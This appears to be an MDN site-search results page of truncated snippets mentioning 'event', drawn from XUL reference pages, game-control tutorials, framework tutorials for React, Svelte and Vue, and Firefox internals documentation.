...l so using html elements for styling might still need additional css in order to work as you might expect. value - value used to identify the notification image - url of image to appear on the notification. if "" then an icon appropriate for the priority level is used. priority - notification priority; see priority levels. buttons - array of button descriptions to appear on the notification.
eventcallback optional - a javascript function to call to notify you of interesting things that happen with the notification box. see notification box
events. priority levels (defined as properties of notificationbox) : priority_info_low priority_info_medium priority_info_high priority_warning_low priority_warning_medium priority_warning_high priority_critical_low priority_critical_medi...
...riptions. each description is an object with the following properties: accesskey - the accesskey to appear on the button callback - function to be called when the button is activated. this function is passed three arguments: the <notification> the button is associated with the button description as passed to appendnotification. the element which was the target of the button press
event. if the return value from this function is not true, then the notification is closed. the notification is also not closed if an error is thrown. label - the label to appear on the button popup - the id of a popup for the button. if null, the button is not a button popup (e.g. a menu). the type property must also be set to "menu", or "menu-button". isdefault - if true, this is the defau...
...And 3 more matches
Tree Box Objects - Archive of obsolete content
of the row with a horizontal position of 50 and a vertical position of 100. naturally, it doesn't really matter what the value of the x coordinate is since rows always take up the entire horizontal space of the tree. one important thing to note is that the coordinates are measured from the upper left corner of the containing document, not the edge of the tree itself. ...
... always take up the entire horizontal space of the tree. one important thing to note is that the coordinates are measured from the upper left corner of the containing document, not the edge of the tree itself. this makes it easy to pass
event coordinates directly to these functions, as in the following example of the getcellat() function. ...
... it easy to pass
event coordinates directly to these functions, as in the following example of the getcellat() function. ...
...And 3 more matches
XUL Questions and Answers - Archive of obsolete content
ulticolumn lists, then they will have to implement one. are xul attributes integers? xul attributes such as left="100" or top="200", as well as corresponding properties, look as if they're integers but they are actually handled as strings. to convert them to integers use the parseint() javascript function. while the attributes are always strings per the dom specification, the properties will
eventually be fixed to return the value with the correct type. using the "icon" attribute on a button from xulplanet.com reference: this attribute should be used to set the usage for common buttons. some platforms display these buttons with a small icon indicating their usage. this should be used in place of the image attribute. possible values include: accept, cancel, help, open, save, find, cl...
...pdates preferences explicitly, via nsiprefbranch interface. can a xul template be used for rss? you should be able to use a xul template to display feeds, although you may have to write the feed data to an rdf datasource first. specifying window.onload function to specify a function to run when the window is loaded,add the following code between the script tags in the xul file: window.add
eventlistener("load", function(e) { startup(); }, false); similarly, for onunload use the code: window.add
eventlistener("unload", function(e) { shutdown(); }, false); is there an
event which is called when the firefox browser is initialized? an
event is initiated when the application starts up and when the profile is changed. for more information please look at the following link: nsextensionmana...
...or more information please look at the following link: nsextensionmanager.js is nsivariant fully supported using python? python has full support for variants. pass a python string/int/etc to the method requiring an nsivariant. a python object is convered when implmenting an interface taking an nsivariant. how do i close the "showpopup" which is automatically opened when the "oncontextmenu"
event is called? if you have a similar code base as the following: onbookmarkcontextmenu: function(
event, id) { document.getelementbyid("bookmarkpopup").showpopup(document.getelementbyid(id),
event.screenx + 6,
event.screeny + 6, "popup", "bottomright", "bottomright"); } use the hidepopup() function to solve this issue. what is an example of addprogresslistener? an example of this is this...
...And 3 more matches
menuitem - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a single choice in a menupopup element. it acts much like a button but it is rendered on a menu. more information is available in the xul tutorial. ...
... (accelerator key) to use to invoke the command. if this value is set, it overrides an assigned key set in the key attribute. this attribute does not apply to menus directly on the menubar. accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. allow
events type: boolean if true,
events are passed to children of the element. otherwise,
events are passed to the element only. autocheck type: boolean if this attribute is true or left out, the checked state of the button will be switched each time the button is pressed. if this attribute is false, the checked state must be adjusted manually. when autocheck is true, the button type shoul...
...: none; } description type: string descriptive text to appear in addition to the dialog title. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...And 3 more matches
menuseparator - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] used to create a separator between menu items. typically drawn as a thin line. more information is available in the xul tutorial. ...
...accelerator key) to use to invoke the command. if this value is set, it overrides an assigned key set in the key attribute. this attribute does not apply to menus directly on the menubar. accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. allow
events type: boolean if true,
events are passed to children of the element. otherwise,
events are passed to the element only. command type: id set to the id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side speci...
...en you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...And 3 more matches
tab - Archive of obsolete content
en you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
... not used, the tab will be connected to the panel at the corresponding index in the tabpanels element that the tab is in its tabs container. however, if this attribute is used, this behavior is overridden, and the tab will always be linked to a specific panel. this might be used to avoid duplication by linking several tabs to one panel with slight differences to the content adjusted in the select
event. oncommand type: script code this
event handler is called when the command is activated. this occurs when a user selects a menu item or presses a keyboard shortcut attached to the command. pending type: boolean this attribute is set to true if the tab is currently in the process of being restored by the session store service. once the tab is restored, this attribute i...
...tor elements in firefox 3. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
...And 3 more matches
tabbrowser - Archive of obsolete content
ys be one of the tab elements in the tabs element. assign a value to this property to modify the currently selected tab. sessionhistory type: nsishistory this read-only property contains the nsishistory object which holds the session history. tabcontainer type: tabs element returns the tabs element that contains the tabs. this is useful for add-ons that need to use
events related to tabs in the browser window. tabs type: array a nodelist containing the tab objects for each tab in the tabbrowser. this is a shortcut for looking at the tabs in the tabcontainer. visibletabs type: array an array containing tab objects for each visible tab in the tabbrowser. this lets you determine which tabs are visible in the current tab set. webbrowserfind type...
...e document. most of its methods are callable directly on the element itself, such as goback and goforward. it also contains the load constants used by reloadwithflags and loaduriwithflags. webprogress type: nsiwebprogress this read-only property contains an nsiwebprogress object which is used to monitor the progress of a document loading. ...
... and goforward. it also contains the load constants used by reloadwithflags and loaduriwithflags. webprogress type: nsiwebprogress this read-only property contains an nsiwebprogress object which is used to monitor the progress of a document loading. ...
...And 3 more matches
tabs - Archive of obsolete content
ctively. disableclose type: boolean if this attribute is true the close button will be disabled. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
... property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. onclosetab type: script code this script will be called when the close tab button is clicked. onnewtab not in firefox type: script code this script will be called when the new tab button is clicked. onselect type: script code this
event is sent to the tabs element when this tab is changed. selectedindex type: integer gets and sets the index of the currently selected panel. the first item is at index 0. setfocus type: boolean if true or omitted, the focus will be given to the first element in the corresponding tabpanel when the tabs are navigated via the keyboard. if this attribute is false, the focus does not ...
...dex of the currently selected item. you may select an item by assigning its index to this property. by assigning -1 to this property, all items will be deselected. returns -1 if no items are selected selecteditem type: element holds the currently selected item. if no item is currently selected, this value will be null. you can select an item by setting this value. a select
event will be sent to the controlling container (i.e. the listbox, richlistbox, radiogroup, etc., not the list item that was selected) when it is changed either via this property, the selectedindex property, or changed by the user. tabbox type: tabbox element returns the tabbox element that contains the tabs. tabindex type: integer gets and sets the value of the tabindex att...
...And 3 more matches
timepicker - Archive of obsolete content
et to a value of either the form hh:mm:ss or hh:mm. the value may be retrieved and changed using the value property or the datevalue property. the former specifies the time as a string of the form hh:mm:ss whereas the latter specifies the time as a date object. in addition, the hour, minute and second properties may be used to retrieve and modify each component of the time separately. ...
... value property or the datevalue property. the former specifies the time as a string of the form hh:mm:ss whereas the latter specifies the time as a date object. in addition, the hour, minute and second properties may be used to retrieve and modify each component of the time separately. the change
event is fired whenever the time is changed. however, as described in mozilla bug #799219, a change
event handler may encounter erratic behavior when the time is changed using the keyboard instead of the mouse. to avoid this, you can use the workaround described here, i.e., use window.settimeout(actual-
event-handler-function, 0); to queue up your
event handler to run after the rest of the picker's change
event handlers. attributes disabled, hideseconds, increment, readonly, tabindex, value ...
...donly, second, secondleadingzero, tabindex, value examples <timepicker value="12:05"/> attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...And 3 more matches
toolbarbutton - Archive of obsolete content
d right to left or bottom to top. this is reverse of the order in which they appear in the xul code. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. dlgtype type: one of the values below the dialog type of the button, used only when the button is in a dialog box. you can use this feature to replace the standard dialog box buttons with custom buttons, yet the dialog
event methods will still function. for example, if the dlgtype is set to accept, the button will replace the dialog box's accept button, which is usually labeled ok. using this attribute on a button that is not in a dialog box has no effect. the following values can be used as the dialog type: accept the ok button, which will accept the changes when pressed. cancel the cancel button which w...
...y or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. oncommand type: script code this
event handler is called when the command is activated. this occurs when a user selects a menu item or presses a keyboard shortcut attached to the command. open type: boolean for the menu type buttons, the open attribute is set to true when the menu is open. the open attribute is not present if the menu is closed. orient type: one of the values below used to specify whether the childre...
...And 3 more matches
Unconventional controls - Game development
work on a huge tv. interestingly enough, the first captain rogers game (asteroid belt of sirius) was optimized for low-end, small-screen, cheap smartphones running firefox os, so you can see the difference three years can make — you can read the whole story in our building games for firefox os tv hacks post. using a tv remote to control the game ended up being surprisingly easy, because the
events fired by the controller are emulating conventional keyboard keys. captain rogers had the keyboard controls implemented already: this.cursors = this.input.keyboard.createcursorkeys(); //... if(this.cursors.right.isdown) { // move player right } it works out of the box. the cursors are the four directional arrow keys on the keyboard, and these have exactly the same key codes as the arrow key...
...this.input.keyboard.createcursorkeys(); //... if(this.cursors.right.isdown) { // move player right } it works out of the box. the cursors are the four directional arrow keys on the keyboard, and these have exactly the same key codes as the arrow keys on the remote. how do you know the codes for the other remote keys? you can check them by printing the responses out in the console: window.add
eventlistener("keydown", function(
event) { console.log(
event.keycode); }, this); every key pressed on the remote will show its key code in the console. you can also check this handy cheat sheet seen below if you're working with panasonic tvs running firefox os: you can add moving between states, starting a new game, controlling the ship and blowing stuff up, pausing and restarting the game. all...
...ent.keycode); }, this); every key pressed on the remote will show its key code in the console. you can also check this handy cheat sheet seen below if you're working with panasonic tvs running firefox os: you can add moving between states, starting a new game, controlling the ship and blowing stuff up, pausing and restarting the game. all that is needed is checking for key presses: window.add
eventlistener("keydown", function(
event) { switch(
event.keycode) { case 8: { // pause the game break; } case 588: { // detonate bomb break; } // ... } }, this); you can see it in action by watching this video. leap motion have you ever thought about controlling a game only with your hands? it's possible w...
...And 3 more matches
Paddle and keyboard controls - Game development
dlewidth, paddleheight); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); } allowing the user to control the paddle we can draw the paddle wherever we want, but it should respond to the user's actions. it's time to implement some keyboard controls. we will need the following: two variables for storing information on whether the left or right control button is pressed. two
event listeners for keydown and keyup
events. we want to run some code to handle the paddle movement when the buttons are pressed. two functions handling the keydown and keyup
events the code that will be run when the buttons are pressed. the ability to move the paddle left and right pressed buttons can be defined and initialized with boolean variables like in the example. add these lines somewher...
...ed. the ability to move the paddle left and right pressed buttons can be defined and initialized with boolean variables like in the example. add these lines somewhere near the rest of your variables: var rightpressed = false; var leftpressed = false; the default value for both is false because at the beginning the control buttons are not pressed. to listen for key presses, we will set up two
event listeners. add the following lines just above the setinterval() line at the bottom of your javascript: document.add
eventlistener("keydown", keydownhandler, false); document.add
eventlistener("keyup", keyuphandler, false); when the keydown
event is fired on any of the keys on your keyboard (when they are pressed), the keydownhandler() function will be executed. the same pattern is true for the se...
...ollowing lines just above the setinterval() line at the bottom of your javascript: document.add
eventlistener("keydown", keydownhandler, false); document.add
eventlistener("keyup", keyuphandler, false); when the keydown
event is fired on any of the keys on your keyboard (when they are pressed), the keydownhandler() function will be executed. the same pattern is true for the second listener: keyup
events will fire the keyuphandler() function (when the keys stop being pressed). ...
...And 3 more matches
Useful string methods - Learn web development
abel { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.add
eventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssolution; solution.value = 'show solution'; updatecode(); }); solution.add
eventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.value ...
...get well soon\'];' + '\n' + '\nfor (let i = 0; i < greetings.length; i++) {' + '\n let input = greetings[i];' + '\n if (greetings[i].indexof(\'christmas\') !== -1) {' + '\n let result = input;' + '\n let listitem = document.createelement(\'li\');' + '\n listitem.textcontent = result;' + '\n list.appendchild(listitem);' + '\n }' + '\n}'; let solutionentry = jssolution; textarea.add
eventlistener('input', updatecode); window.add
eventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.pr
eventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textar...
...abel { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.add
eventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssolution; solution.value = 'show solution'; updatecode(); }); solution.add
eventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.value ...
...And 3 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
the existing hook: const [newname, setnewname] = usestate(''); next, create a handlechange() function that will set the new name; put this underneath the hooks but before the templates: function handlechange(e) { setnewname(e.target.value); } now we'll update our editingtemplate's <input /> field, setting a value attribute of newname, and binding our handlechange() function to its onchange
event. ...
... { setnewname(e.target.value); } now we'll update our editingtemplate's <input /> field, setting a value attribute of newname, and binding our handlechange() function to its onchange
event. ...
...alue attribute of newname, and binding our handlechange() function to its onchange
event. update it as follows: <input id={props.id} classname="todo-text" type="text" value={newname} onchange={handlechange} /> finally, we need to create a function to handle the edit form’s onsubmit
event; add the following just below the previous function you added: function handlesubmit(e) { e.pr
eventdefault(); props.edittask(props.id, newname); setnewname(""); setediting(false); } remember that our edittask() callback prop needs the id of the task we're editing as well as its new name. ...
...And 3 more matches
TypeScript support in Svelte - Learn web development
the following error reported, related to where we set the tabindex attribute. that's because typescript is type-checking the <h2> element and expects tabindex to be of type number. to fix it, replace tabindex="-1" with tabindex={-1}, like this: <h2 id="list-heading" bind:this={headingel} tabindex={-1}>{completedtodos} out of {totaltodos} items completed</h2> this way typescript can pr
event us from incorrectly assigning it to a string variable. newtodo.svelte next we will take care of newtodo.svelte. as usual, add the lang='ts' attribute. the warning will indicate that we have to specify a type for the nameel variable. set its type to htmlelement like this: let nameel: htmlelement // reference to the name input dom node last for this file, we need to sp...
... allows us to represent all subsets of a given type. the partial utility returns a new type based on the type t, where every property of t is optional. we'll use it in the update() function — update yours like so: function update(updatedtodo: partial<todotype>) { todo = { ...todo, ...updatedtodo } // applies modifications to todo dispatch('update', todo) // emit update
event } with this we are telling typescript that the updatedtodo variable will hold a subset of the todotype properties. now svelte-check tells us that we have to define the type of our action function parameters: ./07-next-steps/src/components/todo.svelte:45:24 warn: parameter 'node' implicitly has an 'any' type, but a better type may be inferred from usage. (ts) const focusoninit = (nod...
...e care of the actions.js file. rename it to actions.ts and add the type of the node parameter. it should end up looking like this: // actions.ts export function selectonfocus(node: htmlinputelement) { if (node && typeof node.select === 'function' ) { // make sure node is defined and has a select() method const onfocus = () => node.select() //
event handler node.add
eventlistener('focus', onfocus) // when node gets focus call onfocus() return { destroy: () => node.remove
eventlistener('focus', onfocus) // this will be executed when the node is removed from the dom } } } now update todo.svelte and newtodo.svelte where we import the actions file. remember that imports in typescript don't include ...
...And 3 more matches
Working with Svelte stores - Learn web development
npx degit opensas/mdn-svelte-tutorial/06-stores remember to run npm install && npm run dev to start your app in development mode. repl to code along with us using the repl, start at https://svelte.dev/repl/d1fa84a5a4494366b179c87395940039?version=3.23.2 dealing with our app state we have already seen how our components can communicate with each other using props, two-way data binding, and
events. in all these cases we were dealing with communication between parent and child components. but not all application state belongs inside your application's component hierarchy. for example, information about the logged in user, or whether the dark theme is selected or not. sometimes, your app state will need to be accessed by multiple components that are not hierarchically related, or by a reg...
...have a look at your app again, and try adding/deleting/updating a few todos! as soon as we execute $alert = ..., svelte will run alert.set(...). our alert component — like every subscriber to the alert store — will be notified when it receives a new value, and thanks to svelte reactivity its markup will be updated. we could do the same within ...
...t it's a bit annoying having to click on the alert to get rid of it. it would be better if the notification just disappeared after a couple of seconds. lets see how to do that. we'll specify a prop with the milliseconds to wait before clearing the notification, and we'll define a timeout to remove the alert. we'll also take care of clearing the timeout when the alert component is unmounted to pr
event memory leaks. update the <script> section of your alert.svelte component like so: <script> import { ondestroy } from 'svelte' import { alert } from '../stores.js' export let ms = 3000 let visible let timeout const onmessagechange = (message, ms) => { cleartimeout(timeout) if (!message) { // hide alert if message is empty visible = false } els...
...And 3 more matches
Rendering a list of Vue components - Learn web development
ing of a template feature for each item in an array. we'll use this to iterate through an array of to-do items and display them in our app in separate todoitem components. adding some data to render first we need to get an array of to-do items. to do that, we’ll add a data property to the app.vue component object, containing a todoitems field whose value is an array of todo items. while we'll
eventually add a mechanism to add new todo items, we can start with some mock to do items. each to-do item will be represented by an object with a name and a done property. add a few sample to-do items, along the lines of those seen below. this way you have some data available for rendering using v-for. export default { name: 'app', components: { todoitem }, data() { return { to...
...patch list elements so it's not recreating them every time the list changes. however, vue needs help. to make sure it is re-using list elements appropriately, it needs a unique "key" on the same element that you attach v-for to. to make sure that vue can accurately compare the key attributes, they need to be string or numeric values. while it would be great to use the name field, this field will
eventually be controlled by user input, which means we can't guarantee that the names would be unique. we could use lodash.uniqueid(), however, like we did in the previous article. import lodash.uniqueid into your app component in the same way you did with your todoitem component, using import uniqueid from 'lodash.uniqueid'; next, add an id field to each element in your todoitems array...
...le bit of refactoring we can do here. instead of generating the id for the checkboxes inside your todoitem component, we can turn the id into a prop. while this isn't strictly necessary, it makes it easier for us to manage since we already need to create a unique id for each todo item anyway. add a new prop to your todoitem component — id. make it required, and make its type a string. to pr
event name collisions, remove the id field from your data attribute. you are no longer using uniqueid, so you need to remove the import uniqueid from 'lodash.uniqueid'; line, otherwise your app will throw an error. the <script> contents in your todoitem component should now look something like this: export default { props: { label: {required: true, type: string}, done: {default:...
...And 3 more matches
Mozilla’s UAAG evaluation report
e. checkpoint title status notes/plans 1.1 full keyboard access. (p1) vg we have some remaining bugs, and some keyboard usability issues, but in general mozilla now has keyboard equivalents for almost everything. most browsers do not allow the user to select text with the keyboard alone. we intend to do this with a caret browsing feature. 1.2 activate
event handlers. (p1) p onmouseover, onmousedown, onmouseup, onmousemove, onclick, ondbclick: no keyboard support onfocus and onblur: cannot be activated with pointer 1.3 provide text messages. (p1) c status line and alert boxes used to convey messages and alerts guideline 2. ensure user access to all content. checkpoint title status notes/plans ...
... called isimpledomnode, which has a large portion of useful dom read access 6.3 programmatic access to non-html/xml content. (p1) ni still working on active accessibility support for other kinds of content 6.4 programmatic operation. (p1) vg can use keyboard api to control mozilla, by generating keystrokes programmatically when in-process, can use dom to generate
events uses active accessibility to provide program access to controls do not support all active accessibility features for programmatic operation (put_accname, put_accvalue not yet supported) 6.5 programmatic alert of changes. (p1) g uses active accessibility to generate change
events to assistive technology 6.6 conventional keyboard apis. (p1) c uses standard key...
...mechanisms. checkpoint title status notes/plans 9.1 provide content focus. (p1) c provides a content focus 9.2 provide user interface focus. (p1) c provides a user interface focus 9.3 move content focus. ...
...And 3 more matches
Communicating with frame scripts
chrome code and frame scripts communicate back and forth using a messaging api which can include json-serializable objects as arguments. the api is mostly symmetrical, with one major exception: frame scripts can send asynchronous or synchronous messages to chrome, but chrome can only send asynchronous messages to content. this is an intentional design decision made to pr
event content code from making chrome code unresponsive. where absolutely necessary, frame scripts can pass wrappers called cross process object wrappers (also known as cpows) to chrome, and chrome can use these wrappers to get synchronous access to content objects. content to chrome the frame script can choose to send synchronous or asynchronous messages to chrome code. asynchronous messaging to send an asynchro...
... manager in an add-on, a good way to do that is to prefix messages with your add-on's id. after the name, you can pass detailed data as a string or a json-serializable object, and after that you can pass any objects it wants to pass to content as cpows. ...
...prefix messages with your add-on's id. after the name, you can pass detailed data as a string or a json-serializable object, and after that you can pass any objects it wants to pass to content as cpows. the example below sends a message named "my-e10s-extension-message", with a data payload containing details and tag properties, and exposes the
event.target object as a cpow: // frame script add
eventlistener("click", function (
event) { sendasyncmessage("my-addon@me.org:my-e10s-extension-message", { details : "they clicked", tag :
event.target.tagname }, { target :
event.target }); }, false); to receive messages from content, a chrome script needs to add a message listener using the message manager's addmessagelistener() api. the message passed to the listener is an ob...
...And 3 more matches
Performance best practices for Firefox front-end engineers
e will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox. always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements. avoid the main thread where possible the main thread is where we process user
events and do painting. it's also important to note that most of our javascript runs on the main thread, so it's easy for script to cause delays in
event processing or painting. that means that the more code we can get off of the main thread, the more that thread can respond to user
events, paint, and generally be responsive to the user. you might want to consider using a worker if you need to do some...
... run when the browser has a free moment to spare, and the user isn't doing anything. you can do that using requestidlecallback() and the cooperative scheduling of background tasks api, and doing it only when we have a free second where presumably the user isn’t doing something. see also the blog post collective scheduling with requestidlecallback. as of bug 1353206, you can also schedule idle
events in non-dom contexts by using services.tm.idledispatchtomainthread. see the nsithreadmanager.idl file for more details. hide your panels if you’re adding a new xul <xul:popup> or <xul:panel> to a document, set the hidden attribute to true by default. by doing so, you cause the binding applied on demand rather than at load time, which makes initial construction of the xul document faster. get...
...omwindowutils for a browser window, records the number of styleflushes, then synchronously calls the function that you want to test, and immediately after checks the styleflushes attribute again. if the value went up, your code caused synchronous style flushes to occur. note that your test and function must be called synchronously in order for this test to be accurate. if you ever go back to the
event loop (by yielding, waiting for an
event, etc), style flushes unrelated to your code are likely to run, and your test will give you a false positive. detecting and avoiding synchronous reflow this is also sometimes called “sync layout”, "sync layout flushes" or “sync layout calculations” sync reflow is a term bandied about a lot, and has negative connotations. it's not unusual for an ...
...And 3 more matches
mozbrowseraudioplaybackchange
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowseraudioplaybackchange
event is fired when audio starts or stops playing within a browser <iframe>. ...
...not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowseraudioplaybackchange
event is fired when audio starts or stops playing within a browser <iframe>. general info specification non standard interface custom
event bubbles yes cancelable yes target <iframe> default action none properties property type description target read only
eventtarget the browser iframe type read only domstring the type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the eve...
... type read only domstring the type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the
event is cancellable or not. details read only boolean indicates whether audio is playing in the browser. ...
...And 3 more matches
mozbrowsercaretstatechanged
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsercaretstatechanged
event is fired when the user selects content in a page loaded in a browser <iframe>. ...
...ll not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsercaretstatechanged
event is fired when the user selects content in a page loaded in a browser <iframe>. this is used by the embedder to show a context menu for clipboard actions. general info specification non standard interface custom
event bubbles yes cancelable yes target <iframe> default action none properties property type description target read only
eventtarget the browser iframe type read only domstring the type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the eve...
...olean indicating whether the current selection is editable (true) or not (false.) selectedtextcontext a domstring containing the currently-selected text content. senddocommandmsg a method allowing you to issue a command via an anonymouse function, i.e. function(command). possible values are cut, copy, paste and selectall. ...
...And 3 more matches
mozbrowsericonchange
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsericonchange
event is sent when a new icon (e.g. <link rel="icon"> or <link rel="apple-touch-icon">) is available in the browser <iframe>'s content. ...
...very user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowsericonchange
event is sent when a new icon (e.g. <link rel="icon"> or <link rel="apple-touch-icon">) is available in the browser <iframe>'s content. it will be fired once for each icon available. general info specification non standard interface custom
event bubbles yes cancelable yes target <iframe> default action none properties property type description target read only
eventtarget the browser iframe type read only domstring the type of
event. bubbles read only boolean whether the
event normally bubbles or not. cancelable read only boolean whether the eve...
...ies: href a domstring representing the path to the new icon. sizes a domstring listing the sizes the new icon is available in, e.g. "16x16" or "16x16 32x32". the any keyword can also be used, to represent "any size." rel a domstring representing the rel attribute value from the <link> element used to link to the icon. ...
...And 3 more matches
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
le = new file(file, "components"); } } return file; } public file[] getfiles(string aprop) { file[] files = null; if (aprop.equals("apluginsdl")) { files = new file[1]; files[0] = new file(libxulpath, "plugins"); } return files; } } calling xpcom ui from another thread appstartup.run() enters the main
event loop and will stay there until the application exits. in order to communicate with xpcom after this point, you should use an nsiproxyobjectmanager. following on from the above example, to create a new window, we would do the following: // first, get the
event queue service. this handles all
event queues in xpcom. nsi
eventqueueservice
eventqueueservive = (nsi
eventqueueservice)servicemanager.g...
...application exits. in order to communicate with xpcom after this point, you should use an nsiproxyobjectmanager. following on from the above example, to create a new window, we would do the following: // first, get the
event queue service. this handles all
event queues in xpcom. nsi
eventqueueservice
eventqueueservive = (nsi
eventqueueservice)servicemanager.getservicebycontractid("@mozilla.org/
event-queue-service;1",nsi
eventqueueservice.ns_i
eventqueueservice_iid); // next, we want to get the ui thread, since we want to open a window. ...
...the following: // first, get the
event queue service. this handles all
event queues in xpcom. nsi
eventqueueservice
eventqueueservive = (nsi
eventqueueservice)servicemanager.getservicebycontractid("@mozilla.org/
event-queue-service;1",nsi
eventqueueservice.ns_i
eventqueueservice_iid); // next, we want to get the ui thread, since we want to open a window. there is a static variable on the // nsi
eventqueueservice that contains the id of the special ui
event queue. nsi
eventqueue
eventqueue =
eventqueueservive.getspecial
eventqueue(nsi
eventqueueservice.ui_thread_
event_queue); // now create a proxy for the proxy object manager. nsiproxyobjectmanager proxy = (nsiproxyobjectmanager)componentmanager.createinstancebycontractid("@mozilla.org/xpcomproxy;1",null,nsiproxyobjectmanager.ns_iproxyobjectm...
...And 2 more matches
JavaScript Client API - Archive of obsolete content
illa-central or similar repository. terminology syncengine the main sync client object. it's what starts all the magic. engine governs the synchronizing of a specific set of information. e.g. there is an engine for bookmarks, tabs, history, preferences, etc. record piece of information that gets synchronized. records are transformed to wbo's, uploaded to a collection in a sync server and
eventually downloaded by other sync clients. tracker entity that tracks changes to data. each engine has a corresponding tracker which listens for changes to data or
events it is interested in. when something of interest occurs, it interacts with the engine to let it know something has happened and it might want to take action store entity that serves as a data store/proxy for information in an eng...
...been changed and therefore require syncing. it also has to maintain a "score", which is a number from 0 to 100 which represents "how badly does this data type need to be synced right now". getting your tracker to track changes in the underlying data is probably easiest to do if you register your tracker as an observer, so that it can receive notifications from one or more mozilla components. what
